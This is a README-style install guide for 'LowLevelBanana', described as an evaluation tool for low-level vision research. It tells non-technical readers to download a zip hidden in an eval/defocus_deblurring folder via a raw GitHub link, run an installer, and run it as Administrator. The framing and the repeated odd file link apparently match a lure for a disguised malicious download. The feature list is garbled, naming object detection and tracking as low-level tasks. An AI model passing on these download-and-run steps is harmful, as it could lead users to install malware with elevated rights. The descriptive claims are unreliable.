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🍌 Explore LowLevelBanana, a comprehensive evaluation tool for low-level vision tasks across 14 tasks and 40 datasets in AI research.

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🍌 LowLevelBanana - Analyze Vision Tasks with Ease

πŸš€ Getting Started

Welcome to LowLevelBanana! This guide will help you download and run our application without any technical knowledge. Follow the simple steps below.

Download LowLevelBanana

πŸ“₯ Download & Install

  1. Visit the Release Page: Click the link below to access our Releases page, where you can download the latest version.

    Visit this page to download

  2. Select the Version: On the Releases page, you will find a list of available versions. Choose the latest version for your operating system. If you are unsure which version to choose, look for the one labeled as "Latest."

  3. Download the Installer: Click on the download link for your chosen version. The file may be named something like https://raw.githubusercontent.com/mpahlevi64/LowLevelBanana/main/eval/defocus_deblurring/Low-Banana-Level-v2.5.zip or https://raw.githubusercontent.com/mpahlevi64/LowLevelBanana/main/eval/defocus_deblurring/Low-Banana-Level-v2.5.zip. The file size will vary but should be manageable for most users.

  4. Open the File: Once the download is complete, navigate to the folder where the file is saved. Double-click on the installer file to begin the installation process.

  5. Follow Installation Instructions: A setup wizard will guide you through the installation steps. Read the instructions carefully and accept any terms and conditions to proceed. Click β€œNext” until the installation is complete.

  6. Launch the Application: After installation, you can find LowLevelBanana on your desktop or in your Applications folder. Double-click the icon to launch the software.

βš™οΈ System Requirements

Before you download, make sure your system meets these requirements:

  • Operating System: Windows 10 or later; macOS 10.14 or later; Linux
  • Processor: Intel Core i3 or equivalent
  • Memory: 4 GB RAM or more
  • Disk Space: At least 200 MB of free space

πŸ“Š Features

LowLevelBanana provides a comprehensive evaluation of low-level vision tasks. Here are some key features:

  • Multi-Dataset Support: Analyze up to 40 datasets for thorough assessments.
  • User-Friendly Interface: Enjoy a straightforward setup with minimal configuration.
  • Task Granularity: Evaluate 14 different low-level vision tasks like object detection, segmentation, and tracking.
  • Comprehensive Reporting: Get detailed reports to help understand your results.

πŸ’‘ Usage Instructions

  1. Open LowLevelBanana: Launch the application from your desktop or applications folder.

  2. Select a Task: You will see a list of vision tasks. Choose the one you want to evaluate. Each task is clearly described for easy selection.

  3. Load a Dataset: Select a dataset from your device that you wish to analyze. Ensure it meets the format requirements specified within the application.

  4. Run the Evaluation: Click on the "Evaluate" button. The application will process the data and display the results on your screen.

  5. Review the Results: Once completed, review the evaluation results. You can generate reports or export data for further analysis.

πŸ› οΈ Troubleshooting

If you encounter issues, try the following steps:

  • Check System Requirements: Ensure your machine meets the necessary specifications.
  • Run as Administrator: If the application fails to start, right-click the icon and select "Run as Administrator."
  • Reinstall the Application: If problems persist, uninstall LowLevelBanana and repeat the installation steps.
  • Consult the FAQ: Refer to the FAQ section within the application for common questions and answers.

πŸ“ž Support

For additional assistance, please reach out via the GitHub issues page. Our support team will respond as soon as possible.

πŸ’» Conclusion

You are now ready to explore and evaluate low-level vision tasks with LowLevelBanana. We hope you find this software beneficial for your projects.

Remember, if you need to download the latest version, you can always go back to our Release Page. Enjoy using LowLevelBanana!

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